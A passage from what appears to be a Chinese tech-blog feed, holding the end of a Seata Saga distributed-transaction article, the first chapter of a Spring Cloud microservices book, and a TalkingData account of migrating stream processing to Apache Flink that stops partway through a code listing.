        在不保证隔离性的情况下:业务流程设计时要遵循“宁可长款, 不可短款”的原则,长款意思是客户少了线机构多了钱,以机构信誉可以给客户退款,反之则是短款,少的线可能追不回来了。所以在业务流程设计上一定是先扣款。

        状态定义语言(Seata State Language)

        1. 通过状态图来定义服务调用的流程并生成 json 状态语言定义文件;
        2. 状态图中一个节点可以是调用一个服务,节点可以配置它的补偿节点;
        3. 状态图 json 由状态机引擎驱动执行,当出现异常时状态引擎反向执行已成功节点对应的补偿节点将事务回滚;

        注意: 异常发生时是否进行补偿也可由用户自定义决定

        1. 可以实现服务编排需求,支持单项选择、并发、异步、子状态机、参数转换、参数映射、服务执行状态判断、异常捕获等功能;

        假设有一个业务流程要调两个服务,先调库存扣减(InventoryService),再调余额扣减(BalanceService),保证在一个分布式内要么同时成功,要么同时回滚。两个参与者服务都有一个 reduce 方法,表示库存扣减或余额扣减,还有一个 compensateReduce 方法,表示补偿扣减操作。以 InventoryService 为例看一下它的接口定义:

        carbon (25).png

        这个业务流程对应的状态图:

        demo_statelang.png
        对应的 JSON:

        carbon (26).png

        状态语言在一定程度上参考了 AWS Step Functions

        "状态机" 属性简介

        • Name: 表示状态机的名称,必须唯一;
        • Comment: 状态机的描述;
        • Version: 状态机定义版本;
        • StartState: 启动时运行的第一个"状态";
        • States: 状态列表,是一个 map 结构,key 是"状态"的名称,在状态机内必须唯一;

        "状态" 属性简介

        • Type:"状态" 的类型,比如有:

          • ServiceTask: 执行调用服务任务;
          • Choice: 单条件选择路由;
          • CompensationTrigger: 触发补偿流程;
          • Succeed: 状态机正常结束;
          • Fail: 状态机异常结束;
          • SubStateMachine: 调用子状态机;
        • ServiceName: 服务名称,通常是服务的beanId;
        • ServiceMethod: 服务方法名称;
        • CompensateState: 该"状态"的补偿"状态";
        • Input: 调用服务的输入参数列表,是一个数组,对应于服务方法的参数列表, $.表示使用表达式从状态机上下文中取参数,表达使用的 SpringEL, 如果是常量直接写值即可;
        • Output: 将服务返回的参数赋值到状态机上下文中,是一个 map 结构,key 为放入到状态机上文时的 key(状态机上下文也是一个 map),value 中 $. 是表示 SpringEL 表达式,表示从服务的返回参数中取值,#root 表示服务的整个返回参数;
        • Status: 服务执行状态映射,框架定义了三个状态,SU 成功、FA 失败、UN 未知,我们需要把服务执行的状态映射成这三个状态,帮助框架判断整个事务的一致性,是一个 map 结构,key 是条件表达式,一般是取服务的返回值或抛出的异常进行判断,默认是 SpringEL 表达式判断服务返回参数,带 $Exception{开头表示判断异常类型,value 是当这个条件表达式成立时则将服务执行状态映射成这个值;
        • Catch: 捕获到异常后的路由;
        • Next: 服务执行完成后下一个执行的"状态";
        • Choices: Choice 类型的"状态"里, 可选的分支列表, 分支中的 Expression 为 SpringEL 表达式,Next 为当表达式成立时执行的下一个"状态";
        • ErrorCode: Fail 类型"状态"的错误码;
        • Message: Fail 类型"状态"的错误信息;

        更多详细的状态语言解释请看《Seata Saga 官网文档》

        状态机引擎原理

        saga状态机原理.png

        • 图中的状态图是先执行 stateA, 再执行 stataB,然后执行 stateC;
        • "状态"的执行是基于事件驱动的模型,stataA 执行完成后,会产生路由消息放入 EventQueue,事件消费端从 EventQueue 取出消息,执行 stateB;
        • 在整个状态机启动时会调用 Seata Server 开启分布式事务,并生产 xid, 然后记录"状态机实例"启动事件到本地数据库;
        • 当执行到一个"状态"时会调用 Seata Server 注册分支事务,并生产 branchId, 然后记录"状态实例"开始执行事件到本地数据库;
        • 当一个"状态"执行完成后会记录"状态实例"执行结束事件到本地数据库, 然后调用 Seata Server 上报分支事务的状态;
        • 当整个状态机执行完成,会记录"状态机实例"执行完成事件到本地数据库, 然后调用 Seata Server 提交或回滚分布式事务;

        状态机引擎设计

        saga_engine.png

        状态机引擎的设计主要分成三层, 上层依赖下层,从下往上分别是:

        • Eventing 层:

          • 实现事件驱动架构, 可以压入事件, 并由消费端消费事件, 本层不关心事件是什么消费端执行什么,由上层实现;
        • ProcessController 层:

          • 由于上层的 Eventing 驱动一个“空”流程执行的执行,"state"的行为和路由都未实现,由上层实现;

        基于以上两层理论上可以自定义扩展任何"流程"引擎。这两层的设计是参考了内部金融网络平台的设计。

        • StateMachineEngine 层:

          • 实现状态机引擎每种 state 的行为和路由逻辑;
          • 提供 API、状态机语言仓库;

        Saga 模式下服务设计的实践经验

        下面是实践中总结的在 Saga 模式下微服务设计的一些经验,当然这是推荐做法,并不是说一定要 100% 遵循,没有遵循也有“绕过”方案。

        好消息:Seata Saga 模式对微服务的接口参数没有任务要求,这使得 Saga 模式可用于集成遗留系统或外部机构的服务。

        允许空补偿

        • 空补偿:原服务未执行,补偿服务执行了;
        • 出现原因:

          • 原服务 超时(丢包);
          • Saga 事务触发 回滚;
          • 未收到原服务请求,先收到补偿请求;

        所以服务设计时需要允许空补偿,即没有找到要补偿的业务主键时返回补偿成功并将原业务主键记录下来。

        防悬挂控制

        • 悬挂:补偿服务 比 原服务 先执行;
        • 出现原因:

          • 原服务 超时(拥堵);
          • Saga 事务回滚,触发 回滚;
          • 拥堵的原服务到达;

        所以要检查当前业务主键是否已经在空补偿记录下来的业务主键中存在,如果存在则要拒绝服务的执行。

        幂等控制

        • 原服务与补偿服务都需要保证幂等性, 由于网络可能超时,可以设置重试策略,重试发生时要通过幂等控制避免业务数据重复更新。

        总结

        很多时候我们不需要强调强一性,我们基于 BASE 和 Saga 理论去设计更有弹性的系统,在分布式架构下获得更好的性能和容错能力。分布式架构没有银弹,只有适合特定场景的方案,事实上 Seata Saga 是一个具备“服务编排”和“Saga 分布式事务”能力的产品,总结下来它的适用场景是:

        • 适用于微服务架构下的“长事务”处理;
        • 适用于微服务架构下的“服务编排”需求;
        • 适用于金融核心系统以上的有大量组合服务的业务系统(比如在渠道层、产品层、集成层的系统);
        • 适用于业务流程中需要集成遗留系统或外部机构提供的服务的场景(这些服务不可变不能对其提出改造要求)。

        Seata 相关阅读

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之一:Spring Cloud 与微服务概述 Fri, 02 May 2025 09:39:04 +0800 点击查看第二章
        点击查看第三章
        Spring Cloud微服务:入门、实战与进阶

        image.png

        尹吉欢 著

        第1章

        Spring Cloud 与微服务概述
        微服务架构是一种架构风格,而Spring Cloud 是实现微服务架构的一系列框架的有序集合。本章将带你进入神秘的微服务世界,去探索微服务存在的价值及意义,并为阅读后面的章节打下扎实的理论基础。
        本书涉及的源码均可在 https://github.com/yinjihuan/spring-cloud 中下载。如果下载失败,也可以发邮件给笔者 jihuan900@126.com,或者关注微信公众号 “猿天地”,直接与笔者交流。

        1.1 传统的单体应用

        所谓单体应用程序,通俗来说就是把所有功能全部堆积在一起。这个应用大部分都是一个 WAR 包或者 JAR 包。以笔者自己搭建的技术网站“猿天地”为例,用户、文章、源码、课程都是在一个项目中的。随着业务的发展,功能的增加,多年以后这个单体项目将变得越来越臃肿。
        这样的单体应用在公司创建初期是一种比较好的方案,要快速增加新功能或部署发布都比较简单。不过,随着时间的推移,危机也会慢慢显露出来。任何一个BUG都可能导致整个应用瘫痪,正所谓牵一发而动全身。

        1.1.1 改进单体应用的架构

        架构总是通过演变而来的,既然传统的单体应用架构不能满足业务的发展,那么架构的改变必然会提上日程。在系统不能支撑当前的用户量后,我们将项目按照不同的业务来做拆分,分成多个子系统,系统之间通过 Webservice 或者 HTTP 接口来进行交互,这样做的好处是系统不再那么臃肿了。
        随着用户量越来越多,系统的压力也随之增长。可能其中某一个模块使用的频率比较高,这个时候就需要对这个模块进行扩展,其实就是多部署几个节点。前面再加一个 Nginx 用于负载均衡,刚开始还没什么大问题,当子系统越来越多的时候,每个子系统前面都要加一层负载,对运维人员来说工作量就增加了,因为要维护的也增多了。

        1.1.2 向微服务靠拢

        前面讲了这么多,还是不能满足互联网公司快速发展的需求,比如高并发、高可用、高扩展。于是基于之前的架构又改进了一番,引入了阿里巴巴开源的 Dubbo 框架,解决了服务之间的调用问题,服务调用方不再需要关注服务提供方的地址,只要从注册中心获取服务提供方的地址即可。
        目前国内很多公司的微服务架构都是基于 Dubbo 构建的,为什么我们要转向 Spring Cloud ?可以从下面几个方面进行分析:
        社区的支持:

        • 首先 Spring Cloud 有强大的社区支持, 在 Java 生态圈必定离不开 Spring,且Spring Cloud 的更新频率也越来越高。
        • Dubbo 虽然出自阿里巴巴,但是有很长一段时间没维护了,原因是内部有另一个RPC 的框架 HSF,所以 Dubbo 被抛弃了,不过去年 Dubbo 又重回大众视野,对使用开源框架的用户来说,社区对框架的持续维护非常重要,所以笔者认为 Spring 家族的产品更适合中小型公司。

        关注内容:

        • Spring Cloud 关注的是整个服务架构会涉及的方方面面,在 Spring Cloud 中各种组件应有尽有,从而使其具有可快速集成、方便、成本低等优势。
        • Dubbo 关注的更细一些,只针对服务治理,相当于 Spring Cloud 中的一个子集。能和 Dubbo 相互比较的应该是 gRPC,Thrift 之类的框架。

        性能问题:

        • 对于性能这块,Dubbo 确实要比 Spring Cloud 好,原因大家也都清楚,Dubbo 基于 Netty 的 TCP 及二进制的数据传输,Spring Cloud 基于 HTTP,HTTP 每次都要创建连接,传输的也是文本内容,自然在性能上有些损耗。
        • Spring Cloud 带来的性能损耗对于大部分应用来说是可以接受的,而它具有的HTTP 风格的 API 交互,在不同的语言中是通用的,且对每个微服务的测试来说是非常方便的,也就是说 Spring Cloud 用小的性能损耗换来了更多好处。当当网在Dubbo 的基础上加上 REST 的支持扩展出目前的 Dubbox 也是这个道理。

        1.2 什么是微服务

        “微服务”一词来源于Martin Fowler的《Microservices》一文。微服务是一种架构风格,即将单体应用划分为小型的服务单元,微服务之间使用HTTP的API进行资源访问与操作。
        在笔者看来,微服务架构的演变更像是一个公司的发展过程,从最开始的小公司,到后来的大集团。大集团可拆分出多个子公司,每个子公司的都有自己独立的业务、员工,各自发展,互不影响,合起来则是威力无穷。

        1.2.1 使用微服务架构的优势和劣势

        臃肿的系统、重复的代码、超长的启动时间带给开发人员的只有无限的埋怨,丝毫没有那种很舒服的、很流畅的写代码的感觉。他们把大部分时间都花在解决问题和项目启动上面了。
        1.优势
        使用微服务架构能够为我们带来如下好处:

        • 服务的独立部署:每个服务都是一个独立的项目,可以独立部署,不依赖于其他服务,耦合性低。
        • 服务的快速启动:拆分之后服务启动的速度必然要比拆分之前快很多,因为依赖的库少了,代码量也少了。
        • 更加适合敏捷开发:敏捷开发以用户的需求进化为核心,采用迭代、循序渐进的方法进行。服务拆分可以快速发布新版本,修改哪个服务只需要发布对应的服务即可, 不用整体重新发布。
        • 职责专一,由专门的团队负责专门的服务:业务发展迅速时,研发人员也会越来越多,每个团队可以负责对应的业务线,服务的拆分有利于团队之间的分工。
        • 服务可以动态按需扩容:当某个服务的访问量较大时,我们只需要将这个服务扩容即可。
        • 代码的复用:每个服务都提供 REST API,所有的基础服务都必须抽出来,很多的底层实现都可以以接口方式提供。

        2.劣势
        微服务其实是一把双刃剑,既然有利必然也会有弊。下面我们来谈谈微服务有哪些弊端,以及能采取什么办法避免。

        • 分布式部署,调用的复杂性高:单体应用的时候,所有模块之前的调用都是在本地进行的,在微服务中,每个模块都是独立部署的,通过 HTTP 来进行通信,这当中会产生很多问题,比如网络问题、容错问题、调用关系等。
        • 独立的数据库,分布式事务的挑战:每个微服务都有自己的数据库,这就是所谓的去中心化的数据管理。这种模式的优点在于不同的服务,可以选择适合自身业务的数据,比如订单服务可以用MySQL、评论服务可以用Mongodb、商品搜索服务可以用Elasticsearch。缺点就是事务的问题了,目前最理想的解决方案就是柔性事务中的最终一致性,后面的章节会给大家做具体介绍。
        • 测试的难度提升:服务和服务之间通过接口来交互,当接口有改变的时候,对所有的调用方都是有影响的,这时自动化测试就显得非常重要了,如果要靠人工一个个接口去测试,那工作量就太大了。这里要强调一点,就是API文档的管理尤为重要。
        • 运维难度的提升:在采用传统的单体应用时,我们可能只需要关注一个Tomcat的集群、一个MySQL的集群就可以了,但这在微服务架构下是行不通的。当业务增加时,服务也将越来越多,服务的部署、监控将变得非常复杂,这个时候对于运维的要求就高了。

        1.2.2 重构前的准备工作

        对于上不上微服务,关键在于公司的发展程度。系统是否真的到了必须做分解的地步?在上微服务之前一定要做好技术选型。用什么框架来构建微服务?公司是否支持重构?这些问题都很重要,没有公司的支持一切都是空谈。你要告诉你的上级为什么要重构,为什么要上微服务,上了之后能解决哪些问题,比如能否提高系统稳定性、能否节约机器资源等。有了明确的目标及计划,我相信这件事必成。
        在重构之前,架构师一定要对公司所有的产品做一遍梳理,出一个重构方案,画一个架构图。还要对团队成员进行一次培训,讲讲重构的过程中会遇到哪些技术问题,可采用什么方式解决,在这个过程中大家能学到什么。我相信,对于有成长、有意义的事情,就算加班,大家也会开心的。这些你都不准备好,别人会觉得你没事找事,天天让他加班。
        重构时最好采用循序渐进的模式,首先对一个产品进行重构规划,抽出业务服务,再抽出这个产品所依赖的基础服务,基础服务是最为重要的。等一个产品稳定之后,再重构其他产品,把核心业务放到最后面。不要想着一步登天,重构就像堆积木,堆着堆着就高了,一周抽一个微服务,慢慢就都变成微服务了。

        1.3 什么是Spring Cloud

        Spring Cloud 是一系列框架的有序集合。它利用 Spring Boot 的开发便利性,巧妙地简化了分布式系统基础设施的开发,如服务注册、服务发现、配置中心、消息总线、负载均衡、断路器、数据监控等,这些都可以用 Spring Boot 的开发风格做到一键启动和部署。通俗地讲,Spring Cloud 就是用于构建微服务开发和治理的框架集合(并不是具体的一个框架),主要贡献来自 Netflix OSS。

        1.3.1 Spring Cloud模块介绍

        Spring Cloud 模块的相关介绍如下:

        • Eureka:服务注册中心,用于服务管理。
        • Ribbon:基于客户端的负载均衡组件。
        • Hystrix:容错框架,能够防止服务的雪崩效应。
        • Feign:Web 服务客户端,能够简化 HTTP 接口的调用。
        • Zuul:API 网关,提供路由转发、请求过滤等功能。
        • Config:分布式配置管理。
        • Sleuth:服务跟踪。
        • Stream:构建消息驱动的微服务应用程序的框架。
        • Bus:消息代理的集群消息总线。

        除了上述模块,还有 Cli、Task……。本书只介绍一些常用的模块。
        Spring Cloud 是一个非常好的框架集合,它包含的功能模块非常多,这里不可能一一讲解到,凡是在本书中出现的模块都是真实开发中用得到的。对于那些没有在本书中进行讲解的模块,大家也可以自行学习,当然有任何问题也可以咨询笔者。

        1.3.2 Spring Cloud版本介绍

        相信大家跟笔者一样,在第一次访问 Spring Cloud 官网时一定会有一个疑惑那就是版本太多了,到底哪个是稳定版本?哪个才是自己需要的版本?接下来就给大家简单介绍一下版本的问题。
        访问官网 https://projects.spring.io/spring-cloud/#learn 可以看到网页右侧的版本列表,如图1-1 所示。
        截至本书完稿时,最新的稳定版本是 Finchley SR2。为什么其中还有 Dalston、Edgware等这些版本?而不是像别的项目那样,版本号采用 1.1、1.2、1.3 这种的格式?因为 Spring Cloud 是一个拥有诸多子项目的大型综合项目,可以说是对微服务架构解决方案的综合套件组件,其中包含的各个子项目都独立进行着内容的迭代与更新,各自维护着自己的发布版本号。
        至于怎么选择适合自己的版本,笔者认为,大家可以在接触的时候直接选最新的稳定版本。新版本中的Bug肯定要少,并且更稳定。写作本书的时候,官方发布的Spring Cloud最新稳定版本是 Finchley SR2,所以本书的案例都是基于 Finchley SR2 进行讲解的。不同的版本有不同的功能,对应的每个子模块的版本也不一样,那么如何知道每个大版本下面具体的子模块是什么版本呢?答案就在官网的首页上面,在页面的最下方有一个表格(见表1-1),通过这个表格我们可以清楚地知道 Finchley SR2 对应的 Spring Boot 版本是 2.0.6.RELEASE,Spring-Cloud- Bus 是 2.0.0.RELEASE。

        image.png

        image.png

        1.4 本章小结

        Spring Cloud 的诞生对于微服务架构来说简直是如鱼得水,本章主要是对微服务及Spring Cloud 做了一些理论性的讲解,同时介绍了我们为什么要选择 Spring Cloud、Spring Cloud 有哪些内容、使用 Spring Cloud 能够为我们带来什么好处等。下一章我们将学习Spring Boot 框架的使用方法。

        ]]>
        Apache Flink 的迁移之路,2 年处理效果提升 5 倍 Fri, 02 May 2025 09:39:04 +0800 作者:肖强(TalkingData 资深工程师)

        一、背景与痛点

        在 2017 年上半年以前,TalkingData 的 App Analytics 和 Game Analytics 两个产品,流式框架使用的是自研的 td-etl-framework。该框架降低了开发流式任务的复杂度,对于不同的任务只需要实现一个 changer 链即可,并且支持水平扩展,性能尚可,曾经可以满足业务需求。

        但是到了 2016 年底和 2017 年上半年,发现这个框架存在以下重要局限:

        1. 性能隐患:App Analytics-etl-adaptor 和 Game Analytics-etl-adaptor 这两个模块相继在节假日出现了严重的性能问题(Full-GC),导致指标计算延迟。
        2. 框架的容错机制不足:依赖于保存在 Kafka 或 ZK 上的 offset,最多只能达到 at-least-once,而需要依赖其他服务与存储才能实现 exactly-once,并且会产生异常导致重启丢数。
        3. 框架的表达能力不足: 不能完整的表达 DAG 图,对于复杂的流式处理问题需要若干依赖该框架的若干个服务组合在一起才能解决问题。

        TalkingData 这两款产品主要为各类移动端 App 和游戏提供数据分析服务,随着近几年业务量不断扩大,需要选择一个性能更强、功能更完善的流式引擎来逐步升级我们的流式服务。调研从 2016 年底开始,主要是从 Flink、Heron、Spark streaming 中作选择。

        最终,我们选择了 Flink,主要基于以下几点考虑:

        1. Flink 的容错机制完善,支持 Exactly-once。
        2. Flink 已经集成了较丰富的 streaming operator,自定义 operator 也较为方便,并且可以直接调用 API 完成 stream 的 split 和 join,可以完整的表达 DAG 图。
        3. Flink 自主实现内存管理而不完全依赖于 JVM,可以在一定程度上避免当前的 etl-framework 的部分服务的 Full-GC 问题。
        4. Flink 的 window 机制可以解决GA中类似于单日游戏时长游戏次数分布等时间段内某个指标的分布类问题。
        5. Flink 的理念在当时的流式框架中最为超前: 将批当作流的特例,最终实现批流统一。

        二、演进路线

        1. standalone-cluster (1.1.3->1.1.5->1.3.2)

        我们最开始是以 standalone cluster 的模式部署。从 2017 年上半年开始,我们逐步把 Game Analytics 中一些小流量的 etl-job 迁移到 Flink,到 4 月份时,已经将产品接收各版本 SDK 数据的 etl-job 完全迁移至 Flink,并整合成了一个 job。形成了如下的数据流和 stream graph:

        1

        图1. Game Analytics-etl-adaptor 迁移至 Flink 后的数据流图

        2

        图2. Game Analytics-etl 的 stream graph

        在上面的数据流图中,flink-job 通过 Dubbo 来调用 etl-service,从而将访问外部存储的逻辑都抽象到了 etl-service 中,flink-job 则不需考虑复杂的访存逻辑以及在 job 中自建 Cache,这样既完成了服务的共用,又减轻了 job 自身的 GC 压力。

        此外我们自构建了一个 monitor 服务,因为当时的 1.1.3 版本的 Flink 可提供的监控 metric 少,而且由于其 Kafka-connector 使用的是 Kafka08 的低阶 API,Kafka 的消费 offset 并没有提交的 ZK 上,因此我们需要构建一个 monitor 来监控 Flink 的 job 的活性、瞬时速度、消费淤积等 metric,并接入公司 owl 完成监控告警。

        这时候,Flink 的 standalone cluster 已经承接了来自 Game Analytics 的所有流量,日均处理消息约 10 亿条,总吞吐量达到 12 TB 每日。到了暑假的时候,日均日志量上升到了 18 亿条每天,吞吐量达到了约 20 TB 每日,TPS 峰值为 3 万。

        在这个过程中,我们又遇到了 Flink 的 job 消费不均衡、在 standalone cluster 上 job 的 deploy 不均衡等问题,而造成线上消费淤积,以及集群无故自动重启而自动重启后 job 无法成功重启。(我们将在第三章中详细介绍这些问题中的典型表现及当时的解决方案。)

        经过一个暑假后,我们认为 Flink 经受了考验,因此开始将 App Analytics 的 etl-job 也迁移到 Flink 上。形成了如下的数据流图:

        3

        图3. App Analytics-etl-adaptor 的标准 SDK 处理工作迁移到 Flink 后的数据流图

        4

        图4. App Analytics-etl-flink job 的 stream graph

        2017 年 3 月开始有大量用户开始迁移至统一的 JSON SDK,新版 SDK 的 Kafka topic 的峰值流量从年中的 8 K/s 上涨至了年底的 3 W/s。此时,整个 Flink standalone cluster 上一共部署了两款产品的 4 个 job,日均吞吐量达到了 35 TB。

        这时遇到了两个非常严重的问题:

        • 同一个 standalone cluster 中的 job 相互抢占资源,而 standalone cluster 的模式仅仅只能通过 task slot 在 task manager 的堆内内存上做到资源隔离。同时由于前文提到过的 Flink 在 standalone cluster 中 deploy job 的方式本来就会造成资源分配不均衡,从而会导致 App Analytics 线流量大时而引起Game Analytics 线淤积的问题。
        • 我们的 source operator 的并行度等同于所消费 Kafka topic 的 partition 数量,而中间做 etl 的 operator 的并行度往往会远大于 Kafka 的 partition 数量。因此最后的 job graph 不可能完全被链成一条 operator chain,operator 之间的数据传输必须通过 Flink 的 network buffer 的申请和释放,而 1.1.x 版本的 network buffer 在数据量大的时候很容易在其申请和释放时造成死锁,而导致 Flink 明明有许多消息要处理,但是大部分线程处于 waiting 的状态导致业务的大量延迟。

        这些问题逼迫着我们不得不将两款产品的 job 拆分到两个 standalone cluster 中,并对 Flink 做一次较大的版本升级,从 1.1.3(中间过度到 1.1.5)升级成 1.3.2。最终升级至 1.3.2 在 18 年的 Q1 完成,1.3.2 版本引入了增量式的 checkpoint 提交并且在性能和稳定性上比 1.1.x 版本做了巨大的改进。升级之后,Flink 集群基本稳定,尽管还有消费不均匀等问题,但是基本可以在业务量增加时通过扩容机器来解决。

        2. Flink on yarn (1.7.1)

        因为 standalone cluster 的资源隔离做的并不优秀,而且还有 deploy job 不均衡等问题,加上社区上使用 Flink on yarn 已经非常成熟,因此我们在 18 年的 Q4 就开始计划将 Flink 的 standalone cluster 迁移至 Flink on yarn 上,并且 Flink 在最近的版本中对于 batch 的提升较多,我们还规划逐步使用 Flink 来逐步替换现在的批处理引擎。

        5

        图5. Flink on yarn cluster 规划

        如图 5,未来的 Flink on yarn cluster 将可以完成流式计算和批处理计算,集群的使用者可以通过一个构建 service 来完成 stream/batch job 的构建、优化和提交,job 提交后,根据使用者所在的业务团队及服务客户的业务量分发到不同的 yarn 队列中,此外,集群需要一个完善的监控系统,采集用户的提交记录、各个队列的流量及负载、各个 job 的运行时指标等等,并接入公司的 OWL。

        从 19 年的 Q1 开始,我们将 App Analytics 的部分 stream job 迁移到了 Flink on yarn 1.7 中,又在 19 年 Q2 前完成了 App Analytics 所有处理统一 JSON SDK 的流任务迁移。当前的 Flink on yarn 集群的峰值处理的消息量达到 30 W/s,日均日志吞吐量达约到 50 亿条,约 60 TB。在 Flink 迁移到 on yarn 之后,因为版本的升级性能有所提升,且 job 之间的资源隔离确实优于 standalone cluster。迁移后我们使用 Prometheus+Grafana 的监控方案,监控更方便和直观。

        我们将在后续将 Game Analytics 的 Flink job 和日志导出的 job 也迁移至该 on yarn 集群,预计可以节约 1/4 的机器资源。

        三、重点问题的描述与解决

        在 Flink 实践的过程中,我们一路上遇到了不少坑,我们挑出其中几个重点坑做简要讲解。

        1. 少用静态变量及 job cancel 时合理释放资源

        在我们实现 Flink 的 operator 的 function 时,一般都可以继承 AbstractRichFunction,其已提供生命周期方法 open()/close(),所以 operator 依赖的资源的初始化和释放应该通过重写这些方法执行。当我们初始化一些资源,如 spring context、dubbo config 时,应该尽可能使用单例对象持有这些资源且(在一个 TaskManager 中)只初始化 1 次,同样的,我们在 close 方法中应当(在一个 TaskManager 中)只释放一次。

        static 的变量应该慎重使用,否则很容易引起 job cancel 而相应的资源没有释放进而导致 job 重启遇到问题。规避 static 变量来初始化可以使用 org.apache.flink.configuration.Configuration(1.3)或者 org.apache.flink.api.java.utils.ParameterTool(1.7)来保存我们的资源配置,然后通过 ExecutionEnvironment 来存放(Job提交时)和获取这些配置(Job运行时)。

        示例代码:

        Flink 1.3 设置及注册配置:

        StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        Configuration parameters = new Configuration();
        parameters.setString("zkConnects", zkConnects);
        parameters.setBoolean("debug", debug);
        env.getConfig().setGlobalJobParameters(parameters);

        获取配置(在 operator 的 open 方法中)。

        @Override
        public void open(Configuration parameters) throws Exception {
            super.open(parameters);
            ExecutionConfig.GlobalJobParameters globalParams = getRuntimeContext().getExecutionConfig().getGlobalJobParameters();
            Configuration globConf = (Configuration) globalParams;
            debug = globConf.getBoolean("debug", false);
            String zks = globConf.getString("zkConnects", "");
            //.. do more ..
        }

        Flink 1.7 设置及注册配置:

        ParameterTool parameters = ParameterTool.fromArgs(args);
        // set up the execution environment
        final ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment();
        env.getConfig().setGlobalJobParameters(parameters);

        获取配置:

        public static final class Tokenizer extends RichFlatMapFunction<String, Tuple2<String, Integer>> {
        
            @Override
            public void flatMap(String value, Collector<Tuple2<String, Integer>> out) {
            ParameterTool parameters = (ParameterTool)
                getRuntimeContext().getExecutionConfig().getGlobalJobParameters();
            parameters.getRequired("input");
            // .. do more ..

        2. NetworkBuffer 及 operator chain

        如前文所述,当 Flink 的 job 的上下游 Task(的 subTask)分布在不同的 TaskManager 节点上时(也就是上下游 operator 没有 chained 在一起,且相对应的 subTask 分布在了不同的 TaskManager 节点上),就需要在 operator 的数据传递时申请和释放 network buffer 并通过网络 I/O 传递数据。

        其过程简述如下:上游的 operator 产生的结果会通过 RecordWriter 序列化,然后申请 BufferPool 中的 Buffer 并将序列化后的结果写入 Buffer,此后 Buffer 会被加入 ResultPartition 的 ResultSubPartition 中。ResultSubPartition 中的 Buffer 会通过 Netty 传输至下一级的 operator 的 InputGate 的 InputChannel 中,同样的,Buffer 进入 InputChannel 前同样需要到下一级 operator 所在的 TaskManager 的 BufferPool 申请,RecordReader 读取 Buffer 并将其中的数据反序列化。BufferPool 是有限的,在 BufferPool 为空时 RecordWriter / RecordReader 所在的线程会在申请 Buffer 的过程中等待一段时间,具体原理可以参考:[1], [2]。

        简要截图如下:

        7

        图6. Flink 的网络栈, 其中 RP 为 ResultPartition、RS 为 ResultSubPartition、IG 为 InputGate、IC 为 inputChannel

        在使用 Flink 1.1.x 和 1.3.x 版本时,如果我们的 network buffer 的数量配置的不充足且数据的吞吐量变大的时候,就会遇到如下现象:

        8

        图7. 上游 operator 阻塞在获取 network buffer 的 requestBuffer() 方法中

        9

        图8. 下游的 operator 阻塞在等待新数据输入

        10

        图9. 下游的 operator 阻塞在等待新数据输入

        我们的工作线程(RecordWriter 和 RecordReader 所在的线程)的大部分时间都花在了向 BufferPool 申请 Buffer 上,这时候 CPU 的使用率会剧烈的抖动,使得 Job 的消费速度下降,在 1.1.x 版本中甚至会阻塞很长的一段时间,触发整个 job 的背压,从而造成较严重的业务延迟。

        这时候,我们就需要通过上下游 operator 的并行度来计算 ResultPartition 和 InputGate 中所需要的 buffer 的个数,以配置充足的 taskmanager.network.numberOfBuffers。

        11

        图10. 不同的 network buffer 对 CPU 使用率的影响

        当配置了充足的 network buffer 数时,CPU 抖动可以减少,Job 消费速度有所提高。

        在 Flink 1.5 之后,在其 network stack 中引入了基于信用度的流量传输控制(credit-based flow control)机制[2],该机制大限度的避免了在向 BufferPool 申请 Buffer 的阻塞现象,我们初步测试 1.7 的 network stack 的性能确实比 1.3 要高。

        但这毕竟还不是最优的情况,因为如果借助 network buffer 来完成上下游的 operator 的数据传递不可以避免的要经过序列化/反序列化的过程,而且信用度的信息传递有一定的延迟性和开销,而这个过程可以通过将上下游的 operator 链成一条 operator chain 而避免。

        因此我们在构建我们流任务的执行图时,应该尽可能多的让 operator 都 chain 在一起,在 Kafka 资源允许的情况下可以扩大 Kafka 的 partition 而使得 source operator 和后继的 operator 链在一起,但也不能一味扩大 Kafka topic 的 partition,应根据业务量和机器资源做好取舍。更详细的关于 operator 的 training 和 task slot 的调优可以参考: [4]。

        3. Flink 中所选用序列化器的建议

        在上一节中我们知道,Flink 的分布在不同节点上的 Task 的数据传输必须经过序列化/反序列化,因此序列化/反序列化也是影响 Flink 性能的一个重要因素。Flink 自有一套类型体系,即 Flink 有自己的类型描述类(TypeInformation)。Flink 希望能够掌握尽可能多的进出 operator 的数据类型信息,并使用 TypeInformation 来描述,这样做主要有以下 2 个原因:

        • 类型信息知道的越多,Flink 可以选取更好的序列化方式,并使得 Flink 对内存的使用更加高效;
        • TypeInformation 内部封装了自己的序列化器,可通过 createSerializer() 获取,这样可以让用户不再操心序列化框架的使用(例如如何将他们自定义的类型注册到序列化框架中,尽管用户的定制化和注册可以提高性能)。

        总体上来说,Flink 推荐我们在 operator 间传递的数据是 POJOs 类型,对于 POJOs 类型,Flink 默认会使用 Flink 自身的 PojoSerializer 进行序列化,而对于 Flink 无法自己描述或推断的数据类型,Flink 会将其识别为 GenericType,并使用 Kryo 进行序列化。Flink 在处理 POJOs 时更高效,此外 POJOs 类型会使得 stream 的 grouping/joining/aggregating 等操作变得简单,因为可以使用如: dataSet.keyBy("username") 这样的方式直接操作数据流中的数据字段。

        除此之外,我们还可以做进一步的优化:

        • 显示调用 returns 方法,从而触发 Flink 的 Type Hint:
        dataStream.flatMap(new MyOperator()).returns(MyClass.class)

        returns 方法最终会调用 TypeExtractor.createTypeInfo(typeClass) ,用以构建我们自定义的类型的 TypeInformation。createTypeInfo 方法在构建 TypeInformation 时,如果我们的类型满足 POJOs 的规则或 Flink 中其他的基本类型的规则,会尽可能的将我们的类型“翻译”成 Flink 熟知的类型如 POJOs 类型或其他基本类型,便于 Flink 自行使用更高效的序列化方式。

        //org.apache.flink.api.java.typeutils.PojoTypeInfo
        @Override
        @PublicEvolving
        @SuppressWarnings("unchecked")
        public TypeSerializer<T> createSerializer(ExecutionConfig config) {
           if (config.isForceKryoEnabled()) {
              return new KryoSerializer<>(getTypeClass(), config);
           }
        
           if (config.isForceAvroEnabled()) {
              return AvroUtils.getAvroUtils().createAvroSerializer(getTypeClass());
           }
        
           return createPojoSerializer(config);
        }

        对于 Flink 无法“翻译”的类型,则返回 GenericTypeInfo,并使用 Kryo 序列化:

        //org.apache.flink.api.java.typeutils.TypeExtractor
        
        @SuppressWarnings({ "unchecked", "rawtypes" })
        private <OUT,IN1,IN2> TypeInformation<OUT> privateGetForClass(Class<OUT> clazz, ArrayList<Type> typeHierarchy,
